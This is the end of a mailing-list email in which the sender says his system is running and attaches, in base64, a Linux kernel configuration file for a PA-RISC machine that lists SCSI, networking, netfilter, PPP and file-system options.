PPP BSD Compression module registered
...

trust me it is running.

Joel

PS: may .config file attached

(See attached file: config.tst)

**********************************************************************
This e-mail and any attachments to it may contain confidential information which is strictly intended for the use of the authorised recipient.  If you have received this e-mail in error, please delete it and notify the sender by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************

--0__=C1256B5F0063DC458f9e8a93df938690918cC1256B5F0063DC45
Content-type: application/octet-stream; 
	name="config.tst"
Content-Disposition: attachment; filename="config.tst"
Content-transfer-encoding: base64

IwojIEF1dG9tYXRpY2FsbHkgZ2VuZXJhdGVkIGJ5IG1ha2UgbWVudWNvbmZpZzogZG9uJ3QgZWRp
dAojCkNPTkZJR19QQVJJU0M9eQojIENPTkZJR19VSUQxNiBpcyBub3Qgc2V0CkNPTkZJR19SV1NF
TV9HRU5FUklDX1NQSU5MT0NLPXkKIyBDT05GSUdfUldTRU1fWENIR0FERF9BTEdPUklUSE0gaXMg
bm90IHNldAoKIwojIENvZGUgbWF0dXJpdHkgbGV2ZWwgb3B0aW9ucwojCkNPTkZJR19FWFBFUklN
RU5UQUw9eQoKIwojIExvYWRhYmxlIG1vZHVsZSBzdXBwb3J0CiMKQ09ORklHX01PRFVMRVM9eQpD
T05GSUdfTU9EVkVSU0lPTlM9eQpDT05GSUdfS01PRD15CgojCiMgUHJvY2Vzc29yIHR5cGUKIwpD
T05GSUdfUEE3MTAwPXkKIyBDT05GSUdfUEE3MjAwIGlzIG5vdCBzZXQKIyBDT05GSUdfUEE3MTAw
TEMgaXMgbm90IHNldAojIENPTkZJR19QQThYMDAgaXMgbm90IHNldApDT05GSUdfUEExMT15Cgoj
CiMgR2VuZXJhbCBvcHRpb25zCiMKIyBDT05GSUdfU01QIGlzIG5vdCBzZXQKQ09ORklHX0NIQVNT
SVNfTENEX0xFRD15CiMgQ09ORklHX0tXREIgaXMgbm90IHNldApDT05GSUdfSU9NTVVfQ0NJTz15
CkNPTkZJR19HU0M9eQpDT05GSUdfR1NDX0xBU0k9eQpDT05GSUdfR1NDX1dBWD15CkNPTkZJR19F
SVNBPXkKQ09ORklHX0lTQT15CkNPTkZJR19QQ0k9eQpDT05GSUdfR1NDX0RJTk89eQpDT05GSUdf
UENJX0xCQT15CkNPTkZJR19JT1NBUElDPXkKQ09ORklHX0lPTU1VX1NCQT15CkNPTkZJR19TVVBF
UklPPXkKQ09ORklHX1BDSV9OQU1FUz15CgojCiMgR2VuZXJhbCBzZXR1cAojCkNPTkZJR19IT1RQ
TFVHPXkKQ09ORklHX05FVD15CkNPTkZJR19TWVNWSVBDPXkKIyBDT05GSUdfQlNEX1BST0NFU1Nf
QUNDVCBpcyBub3Qgc2V0CkNPTkZJR19TWVNDVEw9eQpDT05GSUdfS0NPUkVfRUxGPXkKQ09ORklH
X0JJTkZNVF9FTEY9eQpDT05GSUdfQklORk1UX1NPTT15CiMgQ09ORklHX0JJTkZNVF9NSVNDIGlz
IG5vdCBzZXQKIyBDT05GSUdfUE0gaXMgbm90IHNldAoKIwojIFBhcmFsbGVsIHBvcnQgc3VwcG9y
dAojCkNPTkZJR19QQVJQT1JUPXkKQ09ORklHX1BBUlBPUlRfUEM9eQpDT05GSUdfUEFSUE9SVF9Q
Q19DTUwxPXkKIyBDT05GSUdfUEFSUE9SVF9TRVJJQUwgaXMgbm90IHNldAojIENPTkZJR19QQVJQ
T1JUX1BDX0ZJRk8gaXMgbm90IHNldAojIENPTkZJR19QQVJQT1JUX1BDX1NVUEVSSU8gaXMgbm90
IHNldAojIENPTkZJR19QQVJQT1JUX1BDX1BDTUNJQSBpcyBub3Qgc2V0CiMgQ09ORklHX1BBUlBP
UlRfQU1JR0EgaXMgbm90IHNldAojIENPTkZJR19QQVJQT1JUX01GQzMgaXMgbm90IHNldAojIENP
TkZJR19QQVJQT1JUX0FUQVJJIGlzIG5vdCBzZXQKQ09ORklHX1BBUlBPUlRfR1NDPXkKIyBDT05G
SUdfUEFSUE9SVF9TVU5CUFAgaXMgbm90IHNldAojIENPTkZJR19QQVJQT1JUX09USEVSIGlzIG5v
dCBzZXQKIyBDT05GSUdfUEFSUE9SVF8xMjg0IGlzIG5vdCBzZXQKCiMKIyBCbG9jayBkZXZpY2Vz
CiMKIyBDT05GSUdfQkxLX0RFVl9GRCBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19ERVZfWEQgaXMg
bm90IHNldAojIENPTkZJR19QQVJJREUgaXMgbm90IHNldAojIENPTkZJR19CTEtfQ1BRX0RBIGlz
IG5vdCBzZXQKIyBDT05GSUdfQkxLX0NQUV9DSVNTX0RBIGlzIG5vdCBzZXQKIyBDT05GSUdfQkxL
X0RFVl9EQUM5NjAgaXMgbm90IHNldApDT05GSUdfQkxLX0RFVl9MT09QPXkKIyBDT05GSUdfQkxL
X0RFVl9OQkQgaXMgbm90IHNldApDT05GSUdfQkxLX0RFVl9SQU09eQpDT05GSUdfQkxLX0RFVl9S
QU1fU0laRT02MTQ0CkNPTkZJR19CTEtfREVWX0lOSVRSRD15CgojCiMgRW50ZXJwcmlzZSBWb2x1
bWUgTWFuYWdlbWVudCBTeXN0ZW0KIwpDT05GSUdfRVZNUz15CkNPTkZJR19FVk1TX0xPQ0FMX0RF
Vl9NR1JfUExVR0lOPXkKQ09ORklHX0VWTVNfRE9TX1BBUlRJVElPTl9QTFVHSU49eQpDT05GSUdf
RVZNU19TTkFQU0hPVF9QTFVHSU49eQpDT05GSUdfRVZNU19EUklWRUxJTktfUExVR0lOPXkKQ09O
RklHX0VWTVNfQkJSX1BMVUdJTj15CkNPTkZJR19FVk1TX0xWTV9QTFVHSU49eQpDT05GSUdfRVZN
U19NRF9QTFVHSU49eQpDT05GSUdfRVZNU19NRF9MSU5FQVJfUEVSUz15CkNPTkZJR19FVk1TX01E
X1JBSUQwX1BFUlM9eQpDT05GSUdfRVZNU19NRF9SQUlEMV9QRVJTPXkKQ09ORklHX0VWTVNfQUlY
X1BMVUdJTj15CkNPTkZJR19FVk1TX09TMl9QTFVHSU49eQpDT05GSUdfRVZNU19FQ1JfUExVR0lO
PXkKIyBDT05GSUdfRVZNU19JTkZPX0NSSVRJQ0FMIGlzIG5vdCBzZXQKIyBDT05GSUdfRVZNU19J
TkZPX1NFUklPVVMgaXMgbm90IHNldAojIENPTkZJR19FVk1TX0lORk9fRVJST1IgaXMgbm90IHNl
dAojIENPTkZJR19FVk1TX0lORk9fV0FSTklORyBpcyBub3Qgc2V0CkNPTkZJR19FVk1TX0lORk9f
REVGQVVMVD15CiMgQ09ORklHX0VWTVNfSU5GT19ERVRBSUxTIGlzIG5vdCBzZXQKIyBDT05GSUdf
RVZNU19JTkZPX0RFQlVHIGlzIG5vdCBzZXQKIyBDT05GSUdfRVZNU19JTkZPX0VYVFJBIGlzIG5v
dCBzZXQKIyBDT05GSUdfRVZNU19JTkZPX0VOVFJZX0VYSVQgaXMgbm90IHNldAojIENPTkZJR19F
Vk1TX0lORk9fRVZFUllUSElORyBpcyBub3Qgc2V0CgojCiMgTXVsdGktZGV2aWNlIHN1cHBvcnQg
KFJBSUQgYW5kIExWTSkKIwpDT05GSUdfTUQ9eQpDT05GSUdfQkxLX0RFVl9NRD1tCkNPTkZJR19N
RF9MSU5FQVI9bQpDT05GSUdfTURfUkFJRDA9bQpDT05GSUdfTURfUkFJRDE9bQpDT05GSUdfTURf
UkFJRDU9bQojIENPTkZJR19NRF9NVUxUSVBBVEggaXMgbm90IHNldApDT05GSUdfQkxLX0RFVl9M
Vk09eQoKIwojIE5ldHdvcmtpbmcgb3B0aW9ucwojCkNPTkZJR19QQUNLRVQ9eQojIENPTkZJR19Q
QUNLRVRfTU1BUCBpcyBub3Qgc2V0CiMgQ09ORklHX05FVExJTktfREVWIGlzIG5vdCBzZXQKQ09O
RklHX05FVEZJTFRFUj15CkNPTkZJR19ORVRGSUxURVJfREVCVUc9eQpDT05GSUdfRklMVEVSPXkK
Q09ORklHX1VOSVg9eQpDT05GSUdfSU5FVD15CiMgQ09ORklHX0lQX01VTFRJQ0FTVCBpcyBub3Qg
c2V0CiMgQ09ORklHX0lQX0FEVkFOQ0VEX1JPVVRFUiBpcyBub3Qgc2V0CkNPTkZJR19JUF9QTlA9
eQojIENPTkZJR19JUF9QTlBfREhDUCBpcyBub3Qgc2V0CiMgQ09ORklHX0lQX1BOUF9CT09UUCBp
cyBub3Qgc2V0CiMgQ09ORklHX0lQX1BOUF9SQVJQIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUX0lQ
SVAgaXMgbm90IHNldAojIENPTkZJR19ORVRfSVBHUkUgaXMgbm90IHNldAojIENPTkZJR19BUlBE
IGlzIG5vdCBzZXQKIyBDT05GSUdfSU5FVF9FQ04gaXMgbm90IHNldAojIENPTkZJR19TWU5fQ09P
S0lFUyBpcyBub3Qgc2V0CgojCiMgICBJUDogTmV0ZmlsdGVyIENvbmZpZ3VyYXRpb24KIwpDT05G
SUdfSVBfTkZfQ09OTlRSQUNLPW0KQ09ORklHX0lQX05GX0ZUUD1tCiMgQ09ORklHX0lQX05GX0lS
QyBpcyBub3Qgc2V0CiMgQ09ORklHX0lQX05GX1FVRVVFIGlzIG5vdCBzZXQKQ09ORklHX0lQX05G
X0lQVEFCTEVTPW0KQ09ORklHX0lQX05GX01BVENIX0xJTUlUPW0KQ09ORklHX0lQX05GX01BVENI
X01BQz1tCkNPTkZJR19JUF9ORl9NQVRDSF9NQVJLPW0KQ09ORklHX0lQX05GX01BVENIX01VTFRJ
UE9SVD1tCkNPTkZJR19JUF9ORl9NQVRDSF9UT1M9bQojIENPTkZJR19JUF9ORl9NQVRDSF9MRU5H
VEggaXMgbm90IHNldAojIENPTkZJR19JUF9ORl9NQVRDSF9UVEwgaXMgbm90IHNldApDT05GSUdf
SVBfTkZfTUFUQ0hfVENQTVNTPW0KQ09ORklHX0lQX05GX01BVENIX1NUQVRFPW0KQ09ORklHX0lQ
X05GX01BVENIX1VOQ0xFQU49bQpDT05GSUdfSVBfTkZfTUFUQ0hfT1dORVI9bQpDT05GSUdfSVBf
TkZfRklMVEVSPW0KQ09ORklHX0lQX05GX1RBUkdFVF9SRUpFQ1Q9bQpDT05GSUdfSVBfTkZfVEFS
R0VUX01JUlJPUj1tCkNPTkZJR19JUF9ORl9OQVQ9bQpDT05GSUdfSVBfTkZfTkFUX05FRURFRD15
CkNPTkZJR19JUF9ORl9UQVJHRVRfTUFTUVVFUkFERT1tCkNPTkZJR19JUF9ORl9UQVJHRVRfUkVE
SVJFQ1Q9bQojIENPTkZJR19JUF9ORl9OQVRfU05NUF9CQVNJQyBpcyBub3Qgc2V0CkNPTkZJR19J
UF9ORl9OQVRfRlRQPW0KQ09ORklHX0lQX05GX01BTkdMRT1tCkNPTkZJR19JUF9ORl9UQVJHRVRf
VE9TPW0KQ09ORklHX0lQX05GX1RBUkdFVF9NQVJLPW0KQ09ORklHX0lQX05GX1RBUkdFVF9MT0c9
bQpDT05GSUdfSVBfTkZfVEFSR0VUX1RDUE1TUz1tCkNPTkZJR19JUF9ORl9DT01QQVRfSVBDSEFJ
TlM9bQpDT05GSUdfSVBfTkZfTkFUX05FRURFRD15CkNPTkZJR19JUF9ORl9DT01QQVRfSVBGV0FE
TT1tCkNPTkZJR19JUF9ORl9OQVRfTkVFREVEPXkKIyBDT05GSUdfSVBWNiBpcyBub3Qgc2V0CiMg
Q09ORklHX0tIVFRQRCBpcyBub3Qgc2V0CiMgQ09ORklHX0FUTSBpcyBub3Qgc2V0CiMgQ09ORklH
X1ZMQU5fODAyMVEgaXMgbm90IHNldAojIENPTkZJR19JUFggaXMgbm90IHNldAojIENPTkZJR19B
VEFMSyBpcyBub3Qgc2V0CiMgQ09ORklHX0RFQ05FVCBpcyBub3Qgc2V0CiMgQ09ORklHX0JSSURH
RSBpcyBub3Qgc2V0CiMgQ09ORklHX1gyNSBpcyBub3Qgc2V0CiMgQ09ORklHX0xBUEIgaXMgbm90
IHNldAojIENPTkZJR19MTEMgaXMgbm90IHNldAojIENPTkZJR19ORVRfRElWRVJUIGlzIG5vdCBz
ZXQKIyBDT05GSUdfRUNPTkVUIGlzIG5vdCBzZXQKIyBDT05GSUdfV0FOX1JPVVRFUiBpcyBub3Qg
c2V0CiMgQ09ORklHX05FVF9GQVNUUk9VVEUgaXMgbm90IHNldAojIENPTkZJR19ORVRfSFdfRkxP
V0NPTlRST0wgaXMgbm90IHNldAoKIwojIFFvUyBhbmQvb3IgZmFpciBxdWV1ZWluZwojCiMgQ09O
RklHX05FVF9TQ0hFRCBpcyBub3Qgc2V0CgojCiMgQVRBL0lERS9NRk0vUkxMIHN1cHBvcnQKIwoj
IENPTkZJR19JREUgaXMgbm90IHNldAojIENPTkZJR19CTEtfREVWX0lERV9NT0RFUyBpcyBub3Qg
c2V0CiMgQ09ORklHX0JMS19ERVZfSEQgaXMgbm90IHNldAoKIwojIFNDU0kgc3VwcG9ydAojCkNP
TkZJR19TQ1NJPXkKQ09ORklHX0JMS19ERVZfU0Q9eQpDT05GSUdfU0RfRVhUUkFfREVWUz00MApD
T05GSUdfQ0hSX0RFVl9TVD1tCiMgQ09ORklHX0NIUl9ERVZfT1NTVCBpcyBub3Qgc2V0CkNPTkZJ
R19CTEtfREVWX1NSPXkKIyBDT05GSUdfQkxLX0RFVl9TUl9WRU5ET1IgaXMgbm90IHNldApDT05G
SUdfU1JfRVhUUkFfREVWUz0yCkNPTkZJR19DSFJfREVWX1NHPW0KIyBDT05GSUdfU0NTSV9ERUJV
R19RVUVVRVMgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX01VTFRJX0xVTiBpcyBub3Qgc2V0CiMg
Q09ORklHX1NDU0lfQ09OU1RBTlRTIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9MT0dHSU5HIGlz
IG5vdCBzZXQKCiMKIyBTQ1NJIGxvdy1sZXZlbCBkcml2ZXJzCiMKQ09ORklHX0JMS19ERVZfM1df
WFhYWF9SQUlEPW0KIyBDT05GSUdfU0NTSV83MDAwRkFTU1QgaXMgbm90IHNldApDT05GSUdfU0NT
SV9BQ0FSRD1tCiMgQ09ORklHX1NDU0lfQUhBMTUyWCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lf
QUhBMTU0MiBpcyBub3Qgc2V0CkNPTkZJR19TQ1NJX0FIQTE3NDA9bQojIENPTkZJR19TQ1NJX0FB
Q1JBSUQgaXMgbm90IHNldApDT05GSUdfU0NTSV9BSUM3WFhYPW0KQ09ORklHX0FJQzdYWFhfQ01E
U19QRVJfREVWSUNFPTgKQ09ORklHX0FJQzdYWFhfUkVTRVRfREVMQVlfTVM9MTUwMDAKIyBDT05G
SUdfQUlDN1hYWF9CVUlMRF9GSVJNV0FSRSBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfQUlDN1hY
WF9PTEQgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0RQVF9JMk8gaXMgbm90IHNldAojIENPTkZJ
R19TQ1NJX0FEVkFOU1lTIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9JTjIwMDAgaXMgbm90IHNl
dApDT05GSUdfU0NTSV9BTTUzQzk3ND1tCiMgQ09ORklHX1NDU0lfTUVHQVJBSUQgaXMgbm90IHNl
dAojIENPTkZJR19TQ1NJX0JVU0xPR0lDIGlzIG5vdCBzZXQKQ09ORklHX1NDU0lfQ1BRRkNUUz1t
CkNPTkZJR19TQ1NJX0RNWDMxOTFEPW0KIyBDT05GSUdfU0NTSV9EVEMzMjgwIGlzIG5vdCBzZXQK
IyBDT05GSUdfU0NTSV9FQVRBIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9FQVRBX0RNQSBpcyBu
b3Qgc2V0CiMgQ09ORklHX1NDU0lfRUFUQV9QSU8gaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0ZV
VFVSRV9ET01BSU4gaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0dEVEggaXMgbm90IHNldApDT05G
SUdfU0NTSV9HRU5FUklDX05DUjUzODA9bQojIENPTkZJR19TQ1NJX0dFTkVSSUNfTkNSNTNDNDAw
IGlzIG5vdCBzZXQKQ09ORklHX1NDU0lfR19OQ1I1MzgwX1BPUlQ9eQojIENPTkZJR19TQ1NJX0df
TkNSNTM4MF9NRU0gaXMgbm90IHNldApDT05GSUdfU0NTSV9JTklUSU89bQpDT05GSUdfU0NTSV9J
TklBMTAwPW0KIyBDT05GSUdfU0NTSV9QUEEgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0lNTSBp
cyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfTkNSNTNDNDA2QSBpcyBub3Qgc2V0CkNPTkZJR19TQ1NJ
X0xBU0k3MDA9eQpDT05GSUdfNTNDNzAwX01FTV9NQVBQRUQ9eQpDT05GSUdfNTNDNzAwX0xFX09O
X0JFPXkKQ09ORklHXzUzQzcwMF9VU0VfQ09OU0lTVEVOVD15CiMgQ09ORklHX1NDU0lfTkNSNTND
N3h4IGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9TWU01M0M4WFhfMiBpcyBub3Qgc2V0CiMgQ09O
RklHX1NDU0lfTkNSNTNDOFhYIGlzIG5vdCBzZXQKQ09ORklHX1NDU0lfU1lNNTNDOFhYPXkKQ09O
RklHX1NDU0lfWkFMT049eQpDT05GSUdfU0NTSV9OQ1I1M0M4WFhfREVGQVVMVF9UQUdTPTgKQ09O
RklHX1NDU0lfTkNSNTNDOFhYX01BWF9UQUdTPTMyCkNPTkZJR19TQ1NJX05DUjUzQzhYWF9TWU5D
PTIwCiMgQ09ORklHX1NDU0lfTkNSNTNDOFhYX1BST0ZJTEUgaXMgbm90IHNldAojIENPTkZJR19T
Q1NJX05DUjUzQzhYWF9JT01BUFBFRCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfTkNSNTNDOFhY
X1BRU19QRFMgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX05DUjUzQzhYWF9TWU1CSU9TX0NPTVBB
VCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfUEFTMTYgaXMgbm90IHNldApDT05GSUdfU0NTSV9Q
Q0kyMDAwPW0KIyBDT05GSUdfU0NTSV9QQ0kyMjIwSSBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lf
UFNJMjQwSSBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfUUxPR0lDX0ZBUyBpcyBub3Qgc2V0CiMg
Q09ORklHX1NDU0lfUUxPR0lDX0lTUCBpcyBub3Qgc2V0CkNPTkZJR19TQ1NJX1FMT0dJQ19GQz1t
CiMgQ09ORklHX1NDU0lfUUxPR0lDX0ZDX0ZJUk1XQVJFIGlzIG5vdCBzZXQKQ09ORklHX1NDU0lf
UUxPR0lDXzEyODA9bQojIENPTkZJR19TQ1NJX1NJTTcxMCBpcyBub3Qgc2V0CiMgQ09ORklHX1ND
U0lfU1lNNTNDNDE2IGlzIG5vdCBzZXQKQ09ORklHX1NDU0lfREMzOTBUPW0KIyBDT05GSUdfU0NT
SV9EQzM5MFRfTk9HRU5TVVBQIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9UMTI4IGlzIG5vdCBz
ZXQKIyBDT05GSUdfU0NTSV9VMTRfMzRGIGlzIG5vdCBzZXQKQ09ORklHX1NDU0lfREVCVUc9bQoK
IwojIFBDTUNJQSBTQ1NJIGFkYXB0ZXIgc3VwcG9ydAojCiMgQ09ORklHX1NDU0lfUENNQ0lBIGlz
IG5vdCBzZXQKCiMKIyBOZXR3b3JrIGRldmljZSBzdXBwb3J0CiMKQ09ORklHX05FVERFVklDRVM9
eQoKIwojIEFSQ25ldCBkZXZpY2VzCiMKIyBDT05GSUdfQVJDTkVUIGlzIG5vdCBzZXQKQ09ORklH
X0RVTU1ZPW0KQ09ORklHX0JPTkRJTkc9bQojIENPTkZJR19FUVVBTElaRVIgaXMgbm90IHNldApD
T05GSUdfVFVOPW0KIyBDT05GSUdfRVRIRVJUQVAgaXMgbm90IHNldAoKIwojIEV0aGVybmV0ICgx
MCBvciAxMDBNYml0KQojCkNPTkZJR19ORVRfRVRIRVJORVQ9eQpDT05GSUdfTEFTSV84MjU5Nj15
CiMgQ09ORklHX1NVTkxBTkNFIGlzIG5vdCBzZXQKQ09ORklHX0hBUFBZTUVBTD1tCiMgQ09ORklH
X1NVTkJNQUMgaXMgbm90IHNldAojIENPTkZJR19TVU5RRSBpcyBub3Qgc2V0CiMgQ09ORklHX1NV
TkxBTkNFIGlzIG5vdCBzZXQKIyBDT05GSUdfU1VOR0VNIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVU
X1ZFTkRPUl8zQ09NIGlzIG5vdCBzZXQKIyBDT05GSUdfTEFOQ0UgaXMgbm90IHNldAojIENPTkZJ
R19ORVRfVkVORE9SX1NNQyBpcyBub3Qgc2V0CkNPTkZJR19ORVRfVkVORE9SX1JBQ0FMPXkKIyBD
T05GSUdfTkk1MDEwIGlzIG5vdCBzZXQKQ09ORklHX05JNTI9bQojIENPTkZJR19OSTY1IGlzIG5v
dCBzZXQKIyBDT05GSUdfQVQxNzAwIGlzIG5vdCBzZXQKIyBDT05GSUdfREVQQ0EgaXMgbm90IHNl
dAojIENPTkZJR19IUDEwMCBpcyBub3Qgc2V0CiMgQ09ORklHX05FVF9JU0EgaXMgbm90IHNldApD
T05GSUdfTkVUX1BDST15CkNPTkZJR19QQ05FVDMyPW0KQ09ORklHX0FEQVBURUNfU1RBUkZJUkU9
bQojIENPTkZJR19BQzMyMDAgaXMgbm90IHNldAojIENPTkZJR19BUFJJQ09UIGlzIG5vdCBzZXQK
IyBDT05GSUdfQ1M4OXgwIGlzIG5vdCBzZXQKQ09ORklHX1RVTElQPXkKIyBDT05GSUdfVFVMSVBf
TVdJIGlzIG5vdCBzZXQKQ09ORklHX1RVTElQX01NSU89eQpDT05GSUdfREU0WDU9bQojIENPTkZJ
R19ER1JTIGlzIG5vdCBzZXQKIyBDT05GSUdfRE05MTAyIGlzIG5vdCBzZXQKQ09ORklHX0VFUFJP
MTAwPW0KIyBDT05GSUdfTE5FMzkwIGlzIG5vdCBzZXQKIyBDT05GSUdfRkVBTE5YIGlzIG5vdCBz
ZXQKQ09ORklHX05BVFNFTUk9bQojIENPTkZJR19ORTJLX1BDSSBpcyBub3Qgc2V0CiMgQ09ORklH
X05FMzIxMCBpcyBub3Qgc2V0CiMgQ09ORklHX0VTMzIxMCBpcyBub3Qgc2V0CiMgQ09ORklHXzgx
MzlDUCBpcyBub3Qgc2V0CkNPTkZJR184MTM5VE9PPW0KIyBDT05GSUdfODEzOVRPT19QSU8gaXMg
bm90IHNldAojIENPTkZJR184MTM5VE9PX1RVTkVfVFdJU1RFUiBpcyBub3Qgc2V0CiMgQ09ORklH
XzgxMzlUT09fODEyOSBpcyBub3Qgc2V0CkNPTkZJR19TSVM5MDA9bQpDT05GSUdfRVBJQzEwMD1t
CkNPTkZJR19TVU5EQU5DRT1tCiMgQ09ORklHX1RMQU4gaXMgbm90IHNldApDT05GSUdfVklBX1JI
SU5FPW0KIyBDT05GSUdfVklBX1JISU5FX01NSU8gaXMgbm90IHNldApDT05GSUdfV0lOQk9ORF84
NDA9bQojIENPTkZJR19ORVRfUE9DS0VUIGlzIG5vdCBzZXQKCiMKIyBFdGhlcm5ldCAoMTAwMCBN
Yml0KQojCkNPTkZJR19BQ0VOSUM9bQojIENPTkZJR19BQ0VOSUNfT01JVF9USUdPTl9JIGlzIG5v
dCBzZXQKIyBDT05GSUdfREwySyBpcyBub3Qgc2V0CiMgQ09ORklHX01ZUklfU0JVUyBpcyBub3Qg
c2V0CiMgQ09ORklHX05TODM4MjAgaXMgbm90IHNldApDT05GSUdfSEFNQUNIST1tCkNPTkZJR19Z
RUxMT1dGSU49bQpDT05GSUdfU0s5OExJTj1tCiMgQ09ORklHX0ZEREkgaXMgbm90IHNldAojIENP
TkZJR19ISVBQSSBpcyBub3Qgc2V0CiMgQ09ORklHX1BMSVAgaXMgbm90IHNldApDT05GSUdfUFBQ
PXkKIyBDT05GSUdfUFBQX01VTFRJTElOSyBpcyBub3Qgc2V0CiMgQ09ORklHX1BQUF9GSUxURVIg
aXMgbm90IHNldApDT05GSUdfUFBQX0FTWU5DPXkKQ09ORklHX1BQUF9TWU5DX1RUWT15CkNPTkZJ
R19QUFBfREVGTEFURT15CkNPTkZJR19QUFBfQlNEQ09NUD15CkNPTkZJR19QUFBPRT1tCiMgQ09O
RklHX1NMSVAgaXMgbm90IHNldAoKIwojIFdpcmVsZXNzIExBTiAobm9uLWhhbXJhZGlvKQojCiMg
Q09ORklHX05FVF9SQURJTyBpcyBub3Qgc2V0CgojCiMgVG9rZW4gUmluZyBkZXZpY2VzCiMKIyBD
T05GSUdfVFIgaXMgbm90IHNldAojIENPTkZJR19ORVRfRkMgaXMgbm90IHNldAojIENPTkZJR19S
Q1BDSSBpcyBub3Qgc2V0CiMgQ09ORklHX1NIQVBFUiBpcyBub3Qgc2V0CgojCiMgV2FuIGludGVy
ZmFjZXMKIwojIENPTkZJR19XQU4gaXMgbm90IHNldAoKIwojIFBDTUNJQSBuZXR3b3JrIGRldmlj
ZSBzdXBwb3J0CiMKIyBDT05GSUdfTkVUX1BDTUNJQSBpcyBub3Qgc2V0CgojCiMgSW5wdXQgY29y
ZSBzdXBwb3J0CiMKIyBDT05GSUdfSU5QVVQgaXMgbm90IHNldAojIENPTkZJR19JTlBVVF9LRVlC
REVWIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5QVVRfTU9VU0VERVYgaXMgbm90IHNldAojIENPTkZJ
R19JTlBVVF9KT1lERVYgaXMgbm90IHNldAojIENPTkZJR19JTlBVVF9FVkRFViBpcyBub3Qgc2V0
CgojCiMgQ2hhcmFjdGVyIGRldmljZXMKIwpDT05GSUdfVlQ9eQpDT05GSUdfVlRfQ09OU09MRT15
CkNPTkZJR19HU0NfUFMyPXkKQ09ORklHX0hJTD15CkNPTkZJR19TRVJJQUw9eQpDT05GSUdfU0VS
SUFMX0NPTlNPTEU9eQpDT05GSUdfU0VSSUFMX0dTQz15CiMgQ09ORklHX1NFUklBTF9FWFRFTkRF
RCBpcyBub3Qgc2V0CiMgQ09ORklHX1NFUklBTF9OT05TVEFOREFSRCBpcyBub3Qgc2V0CkNPTkZJ
R19VTklYOThfUFRZUz15CkNPTkZJR19VTklYOThfUFRZX0NPVU5UPTI1NgpDT05GSUdfUFJJTlRF
Uj15CiMgQ09ORklHX0xQX0NPTlNPTEUgaXMgbm90IHNldAojIENPTkZJR19QUERFViBpcyBub3Qg
c2V0CgojCiMgSTJDIHN1cHBvcnQKIwojIENPTkZJR19JMkMgaXMgbm90IHNldAoKIwojIE1pY2UK
IwojIENPTkZJR19CVVNNT1VTRSBpcyBub3Qgc2V0CkNPTkZJR19NT1VTRT15CkNPTkZJR19QU01P
VVNFPXkKIyBDT05GSUdfODJDNzEwX01PVVNFIGlzIG5vdCBzZXQKIyBDT05GSUdfUEMxMTBfUEFE
IGlzIG5vdCBzZXQKCiMKIyBKb3lzdGlja3MKIwojIENPTkZJR19JTlBVVF9HQU1FUE9SVCBpcyBu
b3Qgc2V0CiMgQ09ORklHX1FJQzAyX1RBUEUgaXMgbm90IHNldAoKIwojIFdhdGNoZG9nIENhcmRz
CiMKIyBDT05GSUdfV0FUQ0hET0cgaXMgbm90IHNldApDT05GSUdfR0VOUlRDPXkKIyBDT05GSUdf
SU5URUxfUk5HIGlzIG5vdCBzZXQKIyBDT05GSUdfTlZSQU0gaXMgbm90IHNldAojIENPTkZJR19S
VEMgaXMgbm90IHNldAojIENPTkZJR19EVExLIGlzIG5vdCBzZXQKIyBDT05GSUdfUjM5NjQgaXMg
bm90IHNldAojIENPTkZJR19BUFBMSUNPTSBpcyBub3Qgc2V0CgojCiMgRnRhcGUsIHRoZSBmbG9w
cHkgdGFwZSBkZXZpY2UgZHJpdmVyCiMKIyBDT05GSUdfRlRBUEUgaXMgbm90IHNldAojIENPTkZJ
R19BR1AgaXMgbm90IHNldAojIENPTkZJR19EUk0gaXMgbm90IHNldAoKIwojIFBDTUNJQSBjaGFy
YWN0ZXIgZGV2aWNlcwojCiMgQ09ORklHX1BDTUNJQV9TRVJJQUxfQ1MgaXMgbm90IHNldAoKIwoj
IE11bHRpbWVkaWEgZGV2aWNlcwojCiMgQ09ORklHX1ZJREVPX0RFViBpcyBub3Qgc2V0CgojCiMg
RmlsZSBzeXN0ZW1zCiMKIyBDT05GSUdfUVVPVEEgaXMgbm90IHNldAojIENPTkZJR19BVVRPRlNf
RlMgaXMgbm90IHNldAojIENPTkZJR19BVVRPRlM0X0ZTIGlzIG5vdCBzZXQKIyBDT05GSUdfUkVJ
U0VSRlNfRlMgaXMgbm90IHNldAojIENPTkZJR19SRUlTRVJGU19DSEVDSyBpcyBub3Qgc2V0CiMg
Q09ORklHX1JFSVNFUkZTX1BST0NfSU5GTyBpcyBub3Qgc2V0CiMgQ09ORklHX0FERlNfRlMgaXMg
bm90IHNldAojIENPTkZJR19BREZTX0ZTX1JXIGlzIG5vdCBzZXQKIyBDT05GSUdfQUZGU19GUyBp
cyBub3Qgc2V0CiMgQ09ORklHX0hGU19GUyBpcyBub3Qgc2V0CiMgQ09ORklHX0JGU19GUyBpcyBu
b3Qgc2V0CiMgQ09ORklHX0VYVDNfRlMgaXMgbm90IHNldAojIENPTkZJR19KQkQgaXMgbm90IHNl
dAojIENPTkZJR19KQkRfREVCVUcgaXMgbm90IHNldApDT05GSUdfRkFUX0ZTPW0KQ09ORklHX01T
RE9TX0ZTPW0KIyBDT05GSUdfVU1TRE9TX0ZTIGlzIG5vdCBzZXQKQ09ORklHX1ZGQVRfRlM9bQoj
